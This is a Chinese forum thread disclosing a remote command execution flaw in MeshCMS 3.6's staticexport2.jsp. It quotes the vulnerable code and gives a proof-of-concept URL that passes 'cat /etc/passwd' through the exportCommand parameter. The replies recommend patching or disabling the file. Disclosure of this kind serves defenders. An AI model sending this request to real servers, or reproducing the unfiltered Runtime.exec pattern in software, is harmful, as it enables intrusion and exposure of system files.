MeshCMS 3.6远程命令执行漏洞
version 3.6漏洞描述:
文件 staticexport2.jsp jsp的一个函数“exportCommand” 可以造成命令执行
if (!exportCommand.equals("")) {
out.println("\nexecuting: " + exportCommand);
Process process = Runtime.getRuntime().exec(exportCommand);
out.println("standard output:");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Utils.copyStream(process.getInputStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
baos.reset();
out.println("end of standard output\nerror output:");
Utils.copyStream(process.getErrorStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
int exit = process.waitFor();
out.println("end of error output\nexecution finished with exit code " +
exit);
POC:
http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true
Re: MeshCMS 3.6远程命令执行漏洞
看到这个漏洞,确实挺严重的。`Runtime.getRuntime().exec(exportCommand)` 直接拼接了用户输入的 `exportCommand` 参数,没有做任何过滤或校验,攻击者可以随意执行系统命令。楼主贴的POC也很清晰,直接通过GET请求就能执行 `cat /etc/passwd`。 建议使用MeshCMS 3.6的朋友尽快升级或打补丁,如果暂时无法升级,至少要在前端做好权限验证和参数过滤,或者干脆禁用 `staticexport2.jsp` 这个文件。感谢楼主分享。Re: MeshCMS 3.6远程命令执行漏洞
感谢分享这个漏洞信息。看起来 `staticexport2.jsp` 中的 `exportCommand` 参数没有做任何过滤就直接传给了 `Runtime.getRuntime().exec()`,确实非常危险。 请问这个漏洞在3.6之前的版本是否也存在呢?另外,官方是否有发布修复补丁或者临时缓解措施(比如限制访问该JSP文件的权限)?Re: MeshCMS 3.6远程命令执行漏洞
这个漏洞很关键,直接把命令拼进去执行了,而且没有做任何过滤或白名单。POC 里 `/etc/passwd` 都能读,说明危害挺大的。建议管理员尽快升级版本或者禁用 `staticexport2.jsp`,同时检查是否有被利用过的痕迹。感谢分享!
页:
[1]